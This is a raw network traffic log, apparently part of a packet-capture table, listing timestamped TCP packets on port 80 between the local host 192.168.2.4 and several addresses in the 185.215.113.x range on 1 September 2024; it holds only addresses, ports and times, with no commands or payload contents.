Sep 1, 2024 02:48:05.602691889 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602696896 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602708101 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602797985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602807045 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602817059 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602827072 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602865934 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.602865934 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.602865934 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.602876902 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.602876902 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.602962017 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602972984 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602982044 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.602993011 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603001118 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603003979 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603018045 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603043079 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603133917 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603143930 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603153944 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603173018 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603199959 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603279114 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603288889 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603293896 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603326082 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603333950 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603429079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603439093 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603449106 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603457928 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603466988 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603467941 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603477955 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603486061 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603518009 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603574991 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603585958 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603594065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603611946 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603636980 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603760004 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603775024 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603784084 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603794098 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603801012 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603801966 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603807926 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603815079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603823900 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.603823900 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603849888 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.603863955 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.626568079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.626636028 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.627373934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.627520084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:06.420466900 CEST	49730	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:06.420656919 CEST	49732	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:06.425498962 CEST	80	49732	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:06.425570965 CEST	80	49730	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:06.425581932 CEST	49732	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:06.425623894 CEST	49730	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:06.443989992 CEST	49732	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:06.448815107 CEST	80	49732	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:07.179203987 CEST	80	49732	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:07.179277897 CEST	49732	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:07.180663109 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:07.180948019 CEST	49733	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:07.185849905 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:07.185908079 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:07.186109066 CEST	80	49733	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:07.186162949 CEST	49733	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:07.186290979 CEST	49733	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:07.191215038 CEST	80	49733	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:07.953893900 CEST	80	49733	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:07.953964949 CEST	49733	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:08.641103983 CEST	49732	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:08.641388893 CEST	49734	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:08.646514893 CEST	80	49732	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:08.646562099 CEST	49732	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:08.646830082 CEST	80	49734	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:08.646886110 CEST	49734	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:08.647958994 CEST	49734	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:08.652721882 CEST	80	49734	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:08.840311050 CEST	49735	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:08.845174074 CEST	80	49735	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:08.845238924 CEST	49735	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:08.845490932 CEST	49735	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:08.850567102 CEST	80	49735	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:09.417059898 CEST	80	49734	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:09.417128086 CEST	49734	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:09.511086941 CEST	49733	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:09.517093897 CEST	80	49733	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:09.517162085 CEST	49733	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:09.523442984 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:09.528795004 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:09.528856993 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:09.534827948 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:09.540044069 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:09.623205900 CEST	80	49735	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:09.623265028 CEST	49735	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:09.760375977 CEST	49735	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:09.765168905 CEST	80	49735	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:10.011977911 CEST	80	49735	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:10.012566090 CEST	49735	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:10.273447990 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.273488998 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.273499966 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.273524046 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.273542881 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.273713112 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.273724079 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.273734093 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.273755074 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.273778915 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.274333000 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.274343014 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.274353981 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.274364948 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.274389982 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.274408102 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.278439045 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.278487921 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.278553009 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.278594971 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.278637886 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.278680086 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.425306082 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425342083 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425360918 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.425379992 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.425417900 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425427914 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425455093 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.425468922 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.425550938 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425635099 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425645113 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425656080 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425666094 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.425677061 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.425702095 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.425724030 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.426357031 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.426367998 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.426378012 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.426398039 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.426425934 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.426727057 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.426736116 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.426745892 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.426765919 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.426794052 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.427143097 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.427153111 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.427165031 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.427185059 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.427201033 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.427207947 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.427212954 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.427234888 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.427252054 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.427912951 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.427922964 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.427933931 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.427956104 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.427982092 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.430366039 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.430408955 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.430437088 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.430476904 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.430634022 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.430674076 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.430675030 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.430708885 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.575196028 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575274944 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575285912 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575297117 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575309992 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575320959 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575337887 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575442076 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.575442076 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.575520039 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575531960 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575551987 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575565100 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575577021 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575584888 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.575596094 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.575620890 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.575858116 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575869083 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575881004 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575901985 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575913906 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.575925112 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576030016 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.576241016 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576337099 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576345921 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576356888 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576390028 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.576409101 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.576440096 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576451063 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576457977 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576468945 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576488018 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.576513052 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.576675892 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576687098 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576699018 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576709986 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576726913 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576735020 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.576740026 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.576754093 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.576782942 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577162027 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577172995 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577183962 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577194929 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577204943 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577204943 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577219009 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577225924 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577231884 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577249050 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577275038 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577651024 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577661991 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577673912 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577683926 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577694893 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577696085 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577708006 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577735901 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577841043 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577852964 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577863932 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577877045 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577886105 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577888966 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.577898979 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.577928066 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.580435991 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.580446005 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.580455065 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.580477953 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.580504894 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725305080 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725343943 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725353003 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725383997 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725394964 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725404978 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725414991 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725492001 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725492001 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725492001 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725492001 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725501060 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725545883 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725579977 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725589991 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725599051 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725615978 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725620985 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725626945 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725636005 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725639105 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725649118 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725658894 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725667953 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725697041 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725872993 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725889921 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725900888 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725908041 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725914001 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725933075 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725934029 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725944042 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725951910 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725955009 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725964069 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725966930 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.725975037 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.725991964 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726020098 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726206064 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726221085 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726231098 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726238966 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726239920 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726253986 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726262093 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726264000 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726274967 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726285934 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726315975 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726413012 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726423979 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726450920 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726478100 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726480007 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726490021 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726499081 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726509094 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726520061 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726521015 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726526022 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726546049 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726571083 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.726730108 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726778030 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726788998 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726798058 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726807117 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.726903915 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.727510929 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.727560997 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:10.727587938 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.727596998 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.727607012 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.727616072 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:10.727626085 CEST	80	49736	185.215.113.16	192.168.2.4
